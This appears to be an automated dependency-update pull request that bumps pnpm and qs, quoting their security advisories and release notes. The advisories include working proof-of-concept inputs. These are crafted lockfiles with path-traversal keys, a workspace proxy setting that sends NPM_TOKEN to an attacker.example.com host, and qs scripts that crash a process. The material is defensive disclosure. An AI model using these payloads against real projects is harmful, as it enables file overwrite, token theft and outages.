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This PR contains the following updates:

Package Change Age Confidence
pnpm (source) 11.9.0 → 11.11.0 age confidence
qs 6.15.2 → 6.16.0 age confidence

pnpm: Virtual store linker path traversal via unvalidated depPath name in lockfileToDepGraph

CVE-2026-82392 / GHSA-c59q-g84q-2gj5

More information

Details

Summary

The virtual store linker constructs package installation directories using path.join(modules, pkgName) where pkgName is extracted from lockfile packages keys via dp.parse(depPath).name without validation. A crafted pnpm-lock.yaml with traversal sequences in depPath keys (e.g., ../../../tmp/pwned@1.0.0) causes package content to be written to arbitrary filesystem paths during pnpm install.

This is an incomplete fix of GHSA-fr4h-3cph-29xv — the safeJoinModulesDir containment helper was applied to the hoisted linker and symlinkDependency but NOT to the virtual store linker's lockfileToDepGraph.ts:233.

Details
Root Cause

dp.parse() at pnpm11/deps/path/src/index.ts:135 extracts the package name as:

const name = dependencyPath.substring(0, sepIndex)

This is a raw substring operation with zero validation that name is a valid npm package name. A depPath of ../../../tmp/pwned@1.0.0 yields name = '../../../tmp/pwned'.

Vulnerable Code Path
  1. pnpm-lock.yaml → lockfile.packages['../../../../../../../tmp/pwned@1.0.0'] (attacker-controlled lockfile key)
  2. nameVerFromPkgSnapshot(depPath, pkgSnapshot) at lockfile/utils/src/nameVerFromPkgSnapshot.ts:16 → calls dp.parse(depPath) → returns { name: '../../../../../../../tmp/pwned' }
  3. lockfileToDepGraph.ts:232 → modules = path.join(dirInVirtualStore, 'node_modules')
  4. lockfileToDepGraph.ts:233 → dir = path.join(modules, pkgName) → resolves to /tmp/pwned (ESCAPES virtual store)
  5. storeController.importPackage(depNode.dir, ...) → writes package content to the traversed path
Why Existing Defenses Don't Catch It
  • depPathToFilename() — replaces / with + for the dirInVirtualStore path, but pkgName comes SEPARATELY from dp.parse() and is NOT passed through this function
  • verifyLockfileResolutions() — validates dependency map keys (aliases) via isValidDependencyAlias(), but never validates the depPath keys themselves
  • Lockfile parser — yaml.load(lockfileRawContent) with no schema validation on packages keys
  • importPackage() — accepts targetDir and passes it directly to cafsStore.importPackage(targetDir, ...) with zero containment check
  • Integrity verification — requires a real fetchable package but does not validate the destination path
Escalation to RCE (non-default config)

When dangerouslyAllowAllBuilds: true is configured (or the traversal package name is in the explicit allowBuilds list), the same traversed path is used in the rebuild phase at after-install/src/index.ts:402,470. The attacker's postinstall script then executes with the victim's shell access. Under default config, allowBuild returns false for unknown packages, limiting impact to arbitrary file write.

Also Affected (PnP linker)

When nodeLinker: pnp is configured, lockfileToPackageRegistry() at lockfile/to-pnp/src/index.ts:105-110 uses the same unvalidated dp.parse().name in packageLocation construction, allowing the .pnp.cjs resolver map to point outside the virtual store. This is a lower-impact variant (PnP is not the default linker).

Impact

An attacker who can commit a crafted pnpm-lock.yaml to a repository (or supply one via a malicious package) can cause arbitrary file writes on the machine of any user who runs pnpm install. Written content is the actual package files from a real npm package (attacker controls which package and which destination).

Targets for arbitrary file write include:

  • .git/hooks/pre-commit — code execution on next git operation
  • ~/.local/bin/ — binary hijacking
  • Project source files — supply chain injection
Reproduction

Craft a pnpm-lock.yaml:

lockfileVersion: '9.0'
packages:
  ../../../../../../../tmp/pwned@1.0.0:
    resolution: {integrity: sha512-<real-package-integrity>}
    engines: {node: '>=14'}
snapshots:
  ../../../../../../../tmp/pwned@1.0.0: {}
importers:
  .:
    dependencies:
      legitimate-name:
        specifier: ^1.0.0
        version: ../../../../../../../tmp/pwned@1.0.0

Run pnpm install — package content is written to /tmp/pwned/ instead of the virtual store.

Recommended Fix

Apply safeJoinModulesDir (or equivalent validation) at:

  • lockfileToDepGraph.ts:233 — path.join(modules, pkgName)
  • after-install/src/index.ts:402 — path.join(pkgModulesDir(depPath), pkgInfo.name)
  • lockfile/to-pnp/src/index.ts:105-110 — PnP packageLocation

Alternatively, validate depPath keys during lockfile parsing to reject any that don't produce valid npm package names via dp.parse().

Relationship to GHSA-fr4h-3cph-29xv

GHSA-fr4h-3cph-29xv fixed the hoisted linker path (lockfileToHoistedDepGraph.ts:222) by adding safeJoinModulesDir. The same fix was NOT applied to the virtual store linker, which uses the identical dp.parse().name → path.join() pattern at lockfileToDepGraph.ts:233.

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm: A tarball dependency's manifest name escapes node_modules → arbitrary file write/overwrite on install

CVE-2026-82393 / GHSA-vq4v-j7r6-jq4m

More information

Details

Summary

When resolving a package, pnpm uses the resolved manifest name as a raw path segment for the isolated-linker import target. A tarball dependency whose package.json name is a scoped path traversal (@x/../../…/<abs path>) is therefore extracted outside node_modules, to an attacker-chosen absolute path, and can overwrite existing files there. Attacker controls the destination, filenames, and contents → arbitrary file write → code execution (e.g. ~/.zshrc, .git/hooks/pre-commit, another package's code). Occurs during pnpm install even with --ignore-scripts (no lifecycle scripts run), defeating that safety.

Same class as the just-patched GHSA-hwx4 (transitive-dependency alias traversal) and GHSA-v23m (stage download manifest name/version traversal), in a sink their fixes did not cover: the isolated-linker import target keyed by the resolved name.

Root cause
  • The isolated-linker import target is built with a raw path.join(modules, <resolved name>) in installing/deps-resolver/src/resolvePeers.ts:706, installing/deps-resolver/src/index.ts:614, and deps/graph-builder/src/lockfileToDepGraph.ts:233 — without the safeJoinModulesDir guard used on the symlink/hoisted/bin paths (installing/deps-restorer/src/lockfileToHoistedDepGraph.ts:222). The store location is node_modules/.pnpm/<id>/node_modules/<name>, so a traversal <name> escapes.
  • The only resolve-time name gate (resolving/npm-resolver/src/pickPackage.ts:753) rejects only unscoped names containing /, so a scoped @x/../.. passes.
Steps to reproduce

Self-contained PoC (real pnpm@11.9.0; loopback tarball server; escape target is a throwaway temp dir):

npm i pnpm@11.9.0

##### host a tarball whose package.json name = "@x/"+"../".repeat(25)+"<abs>/OUTSIDE"; victim depends on the http URL
pnpm install --ignore-scripts

Confirmed output (repro/poc.mjs, exit 0):

escape dir is outside the project        : true
new file implanted outside node_modules  : true
pre-existing file OVERWRITTEN            : true
*** CONFIRMED: a tarball dependency wrote & overwrote files OUTSIDE the project during `pnpm install --ignore-scripts` ***
Remediation

Route the isolated-linker import-target joins (resolvePeers.ts:706, deps-resolver/index.ts:614, lockfileToDepGraph.ts:233) through safeJoinModulesDir (as the hoisted linker already does), and/or enforce validate-npm-package-name on the resolved manifest name (close the scoped-name gap at pickPackage.ts:753) so the import target rejects a traversal name and re-asserts containment before any write.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml

GHSA-vx52-2968-3vc6

More information

Details

Summary

pnpm expands ${VAR} environment placeholders in the httpProxy / httpsProxy / noProxy settings read from a project's pnpm-workspace.yaml. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs pnpm install in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as NPM_TOKEN or GITHUB_TOKEN.

This bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for registry, pnprServer, registries and namedRegistries when they come from an untrusted project manifest, and the sibling .npmrc reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.

Impact

An attacker who controls only the contents of a repository's pnpm-workspace.yaml — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, node_modules, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.

This turns "I can author a project manifest" into "I read the victim's environment secrets."

Affected versions

Introduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.

  • pnpm 11.x: >= 11.0.0, < 11.11.0
  • pnpm 10.x: >= 10.7.0, < 10.34.5

The Rust port (pacquet) and the registry server (pnpr) are not affected.

Patches
  • pnpm 11.11.0 and later
  • pnpm 10.34.5 and later

The fix adds httpProxy, httpsProxy, noProxy, proxy and noproxy to the request-destination key set in @pnpm/config.reader (src/getOptionsFromRootManifest.ts), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing registry / pnprServer handling and the .npmrc reader's isRequestDestinationValueKey. Regression tests cover the proxy keys.

Workarounds

Upgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's pnpm-workspace.yaml for proxy settings before installing.

Proof of concept
##### pnpm-workspace.yaml in an untrusted repository
packages:
  - .
httpsProxy: "http://${NPM_TOKEN}.collector.attacker.example.com:8080"

With NPM_TOKEN set in the victim's environment, pnpm install expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token.

Unit level:

process.env.PNPM_TEST_TOKEN = 'secret'
const o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' })
// Vulnerable: o.httpsProxy === 'http://secret.evil/'
// Patched:    o.httpsProxy === undefined

Using registry or pnprServer in place of httpsProxy does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.

Credit

Reported privately. A second finding in the original report — the Authorization header being retained across a same-host https -> http redirect — was assessed and is not treated as a pnpm vulnerability: npm (make-fetch-happen, minipass-fetch), Yarn (got) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

qs: Denial of Service via Attacker Controlled isBuffer

CVE-2026-82417 / GHSA-4mjr-xmp4-gh2g

More information

Details

Summary

qs.stringify() calls utils.isBuffer() on every value it serializes, and utils.isBuffer() invokes obj.constructor.isBuffer(obj) without checking that it is callable. A value whose own constructor.isBuffer is a non-function makes qs call a non-callable and throw TypeError. Such a value is produced by qs.parse itself from an untrusted query string when plainObjects: true or allowPrototypes: true is set, so a pure-qs parse → stringify round-trip — no JSON.parse — turns an unauthenticated query string into an uncaught throw.

An attacker-controlled parse input reaches the host application's availability asset — via qs's own recommended plainObjects mitigation — and triggers an uncaught exception during a parse → stringify round-trip.

Details

utils.isBuffer runs at lib/stringify.js:127 for every serialized value:

if (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }

utils.isBuffer (lib/utils.js:327-333) invokes obj.constructor.isBuffer without verifying it is callable:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj));
};

constructor and isBuffer are ordinary keys. qs.parse with plainObjects: true or allowPrototypes: true keeps them as own properties, so the parsed value carries a non-function constructor.isBuffer; stringify then calls a non-callable and throws TypeError. By contrast utils.isRegExp uses a brand check (Object.prototype.toString); the missing guard here is an internal inconsistency, not a platform limitation.

Trust Boundary Note

qs.stringify alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by qs.parse, whose input is untrusted by design. qs.parse normally strips a constructor key via its prototype guard, but with the documented options plainObjects: true or allowPrototypes: true the key survives and lands as an own property. Feeding the parsed object back into qs.stringify — the standard round-trip in gateways and request-forwarders — then hits the unchecked call.

PoC

poc02c_isBuffer_qs_only_roundtrip.js — pure-qs chain, no JSON.parse; an untrusted query string alone reaches the throw:

'use strict';
var qs = require('qs');

var untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y

var parsed = qs.parse(untrustedQueryString, { plainObjects: true });
console.log('[parse] kept constructor key:', JSON.stringify(parsed));

try {
    qs.stringify(parsed);
    console.log('[stringify] no throw (unexpected)');
} catch (e) {
    console.log('[stringify] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02_isBuffer.js — the minimal defect:

'use strict';
var qs = require('qs');
try {
    qs.stringify(JSON.parse('{"a":{"constructor":{"isBuffer":"x"}}}'));
} catch (e) {
    console.log('[A] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02b_isBuffer_async_crash.js — worker death in an async sink:

'use strict';
var qs = require('qs');

function handleRequestAsync(clientJsonBody) {
    try {
        setImmediate(function () {                 // async continuation, outside the try
            qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught
        });
        console.log('[handler] returned 200 synchronously; async work scheduled');
    } catch (e) {
        console.log('[handler] caught synchronously (will NOT happen):', e.message);
    }
}
process.on('exit', function (code) {
    console.log('[proc] process exiting with code:', code);
});
handleRequestAsync('{"filters":{"constructor":{"isBuffer":"x"}}}');
Execution Steps
cd poc
npm install qs@6.15.3
node poc02c_isBuffer_qs_only_roundtrip.js  # pure qs parse->stringify -> TypeError
node poc02_isBuffer.js                      # minimal defect -> TypeError inside stringify
node poc02b_isBuffer_async_crash.js         # async sink -> uncaught throw -> exit code 1
Reproduction Evidence

poc02c_isBuffer_qs_only_roundtrip.js :

[parse] kept constructor key: {"x":{"constructor":{"isBuffer":"y"}}}
[stringify] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02_isBuffer.js:

[A] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02b_isBuffer_async_crash.js :

[handler] returned 200 synchronously; async work scheduled
[proc] process exiting with code: 1
TypeError: obj.constructor.isBuffer is not a function
    at Object.isBuffer (.../qs/lib/utils.js:332:78)
    at stringify (.../qs/lib/stringify.js:127:45)
=== EXIT CODE: 1 ===

The pure-qs round-trip shows the malicious shape originates from qs.parse of an untrusted query string, with no JSON.parse. The synchronous try/catch in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker.

Impact

An unauthenticated request degrades any endpoint that re-serializes deserialized client data with qs.stringify. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on qs.

Recommended Fix

Replace the duck-type with a brand check mirroring utils.isRegExp:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    if (typeof Buffer !== 'undefined' && typeof Buffer.isBuffer === 'function') {
        return Buffer.isBuffer(obj);
    }
    return Object.prototype.toString.call(obj) === '[object Uint8Array]';
};

If duck-typing must remain, require typeof obj.constructor.isBuffer === 'function' before invoking and wrap the call in try/catch.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

qs array-limit bypass via bracket-key comma parsing

CVE-2026-82562 / GHSA-x5fp-wj9c-mxmx

More information

Details

Summary

qs v6.15.3 allows bracket-key input to bypass arrayLimit and throwOnLimitExceeded when comma: true. The input a[]=1,2,3,4 succeeds with arrayLimit: 3, while the equivalent plain-key input is rejected.

Affected version tested:

qs v6.15.3
commit 18d085e919dae70c8f1b200ab99323058edab2c2
Details

parseArrayValue() enforces the comma limit only for flat values. The a[] form is marked non-flat, so its comma-separated value is wrapped after parsing and the inner array is not checked. A single parameter can therefore materialize arbitrarily large arrays.

PoC
const qs = require('qs')
const options = { comma: true, arrayLimit: 3, throwOnLimitExceeded: true }

const result = qs.parse('a[]=1,2,3,4', options)
console.log(result.a[0].length) // 4; expected RangeError

const big = qs.parse('a[]=' + '1,'.repeat(1000000) + '1', { comma: true, arrayLimit: 20 })
console.log(big.a[0].length) // 1000001

On v6.15.3, the first input parses successfully and the second creates an array with 1,000,001 elements. The equivalent a=1,2,3,4 input throws RangeError as expected.

Impact

An attacker who can supply a query string or form body can bypass configured array limits and force excessive memory allocation, causing denial of service. The limit must be applied after comma splitting and before the resulting array is wrapped.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

pnpm/pnpm (pnpm)

v11.11.0

Compare Source

Minor Changes
  • 508b8c2: Added the pnpm access command for managing package access and visibility on the registry, supporting listing packages and collaborators, getting and setting package status and MFA requirements, and granting or revoking team access.
Patch Changes
  • c70e33e: Allow allowBuilds entries for git-hosted packages to match by repository URL without pinning the resolved commit hash. This lets trusted git repositories keep running their build scripts after branch updates without approving each new commit, while package-name-only rules still do not approve git-hosted artifacts.
  • 3067e4f: Reduced peak memory usage during cold-cache dependency resolution. The metadata fetch is memoized for the whole resolution phase, and it was retaining each package's raw registry response body (used only to mirror the response to disk) for that entire time. The memoized cache now holds a body-less copy, so the raw body only lives as long as the call that writes the disk mirror. On large graphs that fetch full metadata (e.g. with minimumReleaseAge or trustPolicy enabled) this cuts peak RSS by roughly 30%, back in line with pnpm 10. The resolved lockfile is unchanged.
  • 51300fd: Prevent a crafted pnpm-lock.yaml from writing package content outside the virtual store. A dependency path key whose name reconstructs to a path-traversal sequence (e.g. ../../../tmp/x@1.0.0) is now rejected by the isolated (virtual-store) linker and the Plug'n'Play resolver map, matching the containment already applied to the hoisted linker. Under the global virtual store, a traversal in the version-derived path segment (e.g. a snapshot version: "../../x") is now rejected at formatGlobalVirtualStorePath, the single point every global-virtual-store slot path funnels through — closing the same escape in the isolated linker, the resolver's dependency-graph builder, and the config-dependency installer.
  • f8058eb: Reject symlinked pnpm-lock.yaml files when reading or writing the env lockfile document.
  • 9318a11: Allow registries and namedRegistries to be configured in the global config.yaml file.
  • 51300fd: Fixed a path traversal vulnerability where a dependency whose manifest name was a scoped path traversal (e.g. @x/../../../<path>) could be written outside node_modules to an attacker-controlled location during pnpm install, even with --ignore-scripts. The isolated linker now validates the package name before using it as a directory name, matching the existing protection in the hoisted linker.
  • 14332f0: Fail instead of silently removing an optional dependency's locked entries from pnpm-lock.yaml when the registry cannot resolve it. Previously, when registry metadata lacked a version that the lockfile already pinned (for example, a mirror that had not synced a recent release yet), pnpm install and pnpm dedupe silently dropped the optional dependency's entries — emptying maps such as the platform binaries of @napi-rs/canvas — so the lockfile differed between machines and frozen installs on other hosts had nothing to link #​12853.
  • fecfe83: Fixed peer dependency resolution with autoInstallPeers when a workspace package depends on a version of a package that a transitive dependency's self-contained closure also provides for itself. The peer providers that are attached to the root project for reuse are no longer peer-resolved a second time in the root context, so packages inside such a closure no longer get their peers bound to the root project's incompatible version #​4993.
  • 5a4daec: ${...} environment-variable placeholders in the httpProxy, httpsProxy, noProxy, proxy, and noproxy settings are no longer expanded when these settings come from a project's pnpm-workspace.yaml. They now receive the same protection already applied to registry, namedRegistries, and pnprServer.
  • d1da02e: pnpm publish no longer prints credentials when the target registry is configured with inline user:pass@ credentials (e.g. registry=https://user:pass@example.com/). They are now redacted both from the "publishing to registry" line and from the OIDC (trusted publishing) failure messages.
  • dcfc611: pnpm self-update now honors trustPolicy=no-downgrade. It resolves the target pnpm version against full registry metadata, so it refuses to switch to a version whose supply-chain trust evidence is weaker than an earlier-published one, the same way a regular install does.
  • a8ad82d: Register the pn alias in generated shell completion scripts.
  • 25bd5c3: Fixed standalone installer downgrades from pnpm v12 to v11.
  • 23996e9: pnpm runtime set <name> <version> now validates its arguments: the name must be node, deno, or bun, and the version must not contain a comma. Previously these were interpolated straight into a pnpm add selector, where an unsupported name or a comma (e.g. node 22,is-positive) could be misread as a list of packages or a local directory and install unintended packages or bins.

v11.10.0

Compare Source

Minor Changes

  • e2e3c81: Added the issues command as an alias of bugs, so pnpm issues opens the package's bug tracker URL in the browser.

  • 8491f8e: Added the prefix command which prints the current package prefix directory (or global prefix directory if -g / --global is used).

  • 3425e80: Added an _auth setting for configuring registry authentication as a single structured (URL-keyed) value. It can be set in the global pnpm config (config.yaml) or, for CI, via the pnpm_config__auth environment variable. The env form sidesteps the GitHub Actions / bash / zsh limitation that broke the existing pnpm_config_//host/:_authToken=… form (env var names containing /, :, or . are silently dropped). Closes #​12314.

    The value is keyed by registry URL so each secret is explicitly bound to the host that may receive it. Registry URL keys must use http or https and must not include credentials, query strings, or fragments:

    export pnpm_config__auth='{"https://registry.npmjs.org":{"@":{"authToken":"npm-token"},"@org":{"authToken":"org-token"}}}'

    The equivalent in the global config.yaml:

    _auth:
  https://registry.npmjs.org:
    "@":
      authToken: npm-token
    "@org":
      authToken: org-token

    Within each registry URL, @ means registry-wide/default credentials and package scopes like @org bind credentials to that scope on the same host. The only supported credential field is authToken (maps to _authToken / bearer auth); the deprecated basicAuth / username + password forms are intentionally not accepted here.

    Each entry also infers a trusted registry route: @ routes the default registry (and pnpm add <pkg> resolves there), and @org routes that scope. Because the credential and destination host arrive in one trusted value, repo-controlled pnpm-workspace.yaml or project .npmrc cannot redirect the token to a different host. _auth is honored only from the env var and the global config — it is ignored in a project pnpm-workspace.yaml / .npmrc, so repo-controlled config can never supply registry auth. Precedence: CLI flags (--registry, --@scope:registry) > pnpm_config__auth > global config.yaml _auth > pnpm-workspace.yaml.

    Both pnpm_config__auth (lowercase, documented form) and PNPM_CONFIG__AUTH (all-caps, the shell convention some CI runners apply) are honored. If both are set, lowercase wins unless it is empty, in which case uppercase is used. The env var wins over the global config.yaml _auth on a conflicting key. tokenHelper is not supported in _auth. Parsing is strict: a malformed value (bad JSON, wrong shape, invalid registry URL or scope, an unsupported credential field) fails fast with an error rather than being silently dropped.

    Pacquet parity note: the pacquet (Rust) port supports the same single credential field as the TS CLI: authToken.

  • a33eeec: pnpm self-update and packageManager version-switching can now install and link pnpm v12 (the Rust port), published with equal content under both the pnpm and @pnpm/exe names on the next-12 dist-tag. Its native binaries ship as @pnpm/exe.<platform>-<arch> packages, which pnpm's built-in installer links directly — no Node.js launcher, so the command pays no Node startup cost. v12 is initialized exactly like @pnpm/exe, including per-platform global-virtual-store hashing. From v12 onward the install converges on the unscoped pnpm package (the Rust exe) — even when updating from the SEA @pnpm/exe build.

  • 1dd12bd: When resolving through a pnpr install-accelerator server, pnpm no longer forwards its own upstream registry credentials in the resolve request. Only the Authorization header identifying the caller to pnpr is sent. The pnpr server now selects upstream credentials from its own route policy (operator-configured upstream credential aliases), so private dependencies resolve through a pnpr-managed alias the caller is authorized to use, rather than by sending the client's registry tokens to the server.

  • 1e81761: Expose web authentication authUrl and doneUrl in JSON error output when OTP is required in a non-interactive terminal #​12724.

Patch Changes

  • 2f389d6: Added the Node.js release team's new signing key (Stewart X Addison, 655F3B5C1FB3FA8D1A0CA6BDE4A7D232B936D2FD) to the embedded Node.js release keys, so runtimes whose SHASUMS256.txt is signed by the new releaser verify successfully.

  • acbdb94: Fixed shell tab completion not suggesting workspaces after the -F alias for --filter option.

  • dcabb78: Fixed pnpm up -r <pkg> bumping unrelated packages that have open semver ranges. Previously, any update mutation nullified the lockfile-derived preferredVersions globally, so packages with ^x.y.z ranges could re-resolve to newer compatible versions even though the user only asked to update a specific package. The install layer now always seeds preferredVersions from the lockfile, and caller-supplied preferred versions (such as the vulnerability penalties of pnpm audit --fix) layer on top of the seed instead of replacing it. The targeted package still bumps: the per-resolve updateRequested flag makes the resolver ignore the target's own lockfile pins.

    Closes #​10662.

  • d539172: Fixed pnpm pack and pnpm publish failing when prepack generates files that are included in the package and postpack cleans them up.

  • be6505a: Hardened global package management:

    • On Windows, removing or updating a global package now also cleans up the node.exe flavor of a bin, so a stale node.exe no longer survives on PATH after uninstall, and a new global install no longer silently overwrites an existing node.exe.
    • pnpm add -g pnpm@<version> (and @pnpm/exe@<version>) is now rejected like the bare pnpm form, pointing to pnpm self-update.
    • Dependency aliases read from a global package's manifest are validated before being joined onto node_modules paths, preventing a tampered manifest from escaping the install directory.
    • Each global install group is created in its own freshly-made directory (no longer reusing a colliding or pre-existing path).
    • Removing or updating a global package no longer unlinks a bin that belongs to a different globally installed package.

  • 25c7388: pnpm now rejects jsr: specifiers whose package name is not a valid npm package name — an empty scope or name (e.g. jsr:@scope/), path separators inside the name, or any other shape validate-npm-package-name rejects — with ERR_PNPM_INVALID_JSR_PACKAGE_NAME instead of silently converting them into a malformed @jsr/... npm package name.

  • 25c7388: pnpm now rejects named-registry specifiers (e.g. gh:) whose package name is not a valid npm package name — an empty scope (e.g. gh:@/bar), path separators inside the name (e.g. gh:@scope/../name), or any other shape validate-npm-package-name rejects — with ERR_PNPM_INVALID_NAMED_REGISTRY_PACKAGE_NAME instead of passing the name through to registry URLs and metadata cache file paths.

  • 96da7c5: node-gyp's gyp_main.py and gyp entrypoints are now packed with the executable bit in the pnpm and @pnpm/exe tarballs. Without it, building native addons from source could fail with a permission error.

  • 99982b9: Sped up resolution and reduced memory use against registries that ignore npm's abbreviated metadata format and always return the full package document (for example, Azure DevOps Artifacts). pnpm now strips such documents down to the abbreviated field set before caching them. Resolution output is unchanged, and registries that honor the abbreviated format (such as the npm registry) pay no extra cost.

  • 11a7fdd: Sped up offline and --prefer-offline resolution on large workspaces (e.g. pnpm dedupe --offline, pnpm install --offline). Package metadata loaded from the local cache is now kept in memory, so each package's metadata is parsed once per command instead of once per dependent that references it.

  • 2c7369d: pnpm pack-app now rejects --entry / pnpm.app.entry and --output-dir / pnpm.app.outputDir values that are absolute paths or escape the project directory via .. (or a symlink that resolves outside it), and refuses to write the produced executable when its target path already exists as a symlink (or other non-regular file). This prevents a repository-controlled package.json from embedding host files (such as an SSH key) into the produced executable, writing build artifacts outside the project, or overwriting an arbitrary file through a committed symlink. The new error codes are ERR_PNPM_PACK_APP_ENTRY_OUTSIDE_PROJECT, ERR_PNPM_PACK_APP_OUTPUT_DIR_OUTSIDE_PROJECT, and ERR_PNPM_PACK_APP_OUTPUT_FILE_NOT_REGULAR.

    When ad-hoc signing macOS targets, pnpm pack-app now runs the system codesign by absolute path and resolves ldid to a location outside the project, so a repository-controlled node_modules/.bin on PATH cannot hijack the signer.

  • ce5d5a5: Relative paths in patchedDependencies are now resolved against the lockfile directory when computing patch file hashes, so running pnpm install from a subdirectory no longer fails with ENOENT looking for the patch file in the wrong location #​12762.

  • ebb4096: pnpm peers no longer reports a conflict for a missing peer dependency that is ignored via pnpm.peerDependencyRules.ignoreMissing.

  • dcabb78: Fixed a prototype-pollution hazard when seeding preferred versions: a dependency named __proto__ in a manifest or in pnpm-lock.yaml could write through Object.prototype (or crash the install) while the preferred-versions map was being built. The maps are now null-prototype objects, so crafted package names land as plain keys.

  • f38e696: Hardened pnpm deploy --force so it refuses unsafe deploy targets such as workspace roots, parent directories, out-of-workspace paths, and symlinked target parents.

  • 806c3ec: pnpm no longer warns about ignored project-level auth settings when PNPM_CONFIG_NPMRC_AUTH_FILE points at the project .npmrc — setting it to that file is an explicit opt-in to trusting it, so auth env variables in it are expanded pnpm/pnpm#12480.

  • 991405e: Restore differential rendering (ansi-diff) to fix duplicated output lines introduced by #​12351.

  • c121235: Fixed the topological order of --filtered commands (pnpm run, pnpm exec, pnpm publish, pnpm pack, pnpm rebuild) when the selected projects depend on each other only transitively through projects that were not selected. Previously such selected projects could run concurrently or in the wrong order; now a project always runs after the selected projects it transitively depends on, while projects without a real dependency relationship still run concurrently. This now also holds for prod-only filters (--filter-prod), which resolve order through the production dependency graph so transitive production dependencies are respected without pulling back the dev dependencies the filter drops, and for selections that mix --filter with --filter-prod #​8335.

  • d539172: pnpm pack and pnpm publish no longer follow a symlinked workspace LICENSE file when injecting it into a package that has no license of its own. Following the symlink could pack bytes from outside the workspace into the published tarball.

  • dcabb78: Fixed pnpm up <pkg> producing a different result than a fresh install of the same manifests would. The resolver now distinguishes updateRequested (true only for packages that match the user's update target) from the broader update flag, and for the targeted package ignores only its own lockfile-derived preferred-version pins — so the target re-resolves exactly as if its lockfile entries were deleted and pnpm install ran. Preferred versions a fresh install applies (manifest pins, versions propagated down the dependency chain, and the vulnerability-avoidance penalties of pnpm audit --fix) stay in effect, so an update never installs duplicate versions that a reinstall from scratch would not reproduce. When a preferred version holds the update target below the newest version its range admits, pnpm now prints a warning explaining that reaching the newer version everywhere requires an override.

  • dcabb78: pnpm update <dep>@<version> now prints a warning when <dep> is only present as a transitive dependency: the requested version cannot be applied there (updates resolve the target the way a fresh install would), and the warning recommends adding the version to pnpm.overrides instead, which is the mechanism that does pin transitive dependencies. Closes #​12744.

  • a6c4d5f: When a dependency cannot be found in the registry (404) or the registry has no matching version, and a workspace project with the same name exists only at non-matching versions, the error now reports the available workspace versions (ERR_PNPM_NO_MATCHING_VERSION_INSIDE_WORKSPACE) instead of the raw registry failure pnpm/pnpm#1379. Other registry failures (authorization, network, server errors) still propagate unchanged. The pacquet (Rust) resolver applies the same behavior.

ljharb/qs (qs)

v6.16.0

Compare Source

  • [New] stringify: add a depth option to bound recursion depth (default Infinity)
  • [Fix] stringify: serialize Date values when a filter is provided
  • [Fix] parse: enforce arrayLimit on comma groups under []= when throwOnLimitExceeded is set
  • [Fix] parse: flatten a collection appended to an overflowed array (#​571)
  • [Fix] utils: isBuffer: do not invoke a non-callable constructor.isBuffer
  • [Fix] stringify: do not let allowEmptyArrays skip cycle detection (or drop own keys) on an empty array with own properties
  • [Fix] stringify: encode dots in a top-level key with a primitive value when encodeDotInKeys is set (#​562)
  • [Docs] threat model: clarify stringify deep-nesting DoS is caller-bounded
  • [Docs] clarify arrayLimit is a representation threshold, not an element-count cap
  • [Tests] parse: remove a test that pinned []= comma groups escaping arrayLimit
  • [Tests] stringify: pin current encodeDotInKeys separator-dot behavior
  • [Dev Deps] update @ljharb/eslint-config, eslint
  • [Dev Deps] update eslint, evalmd

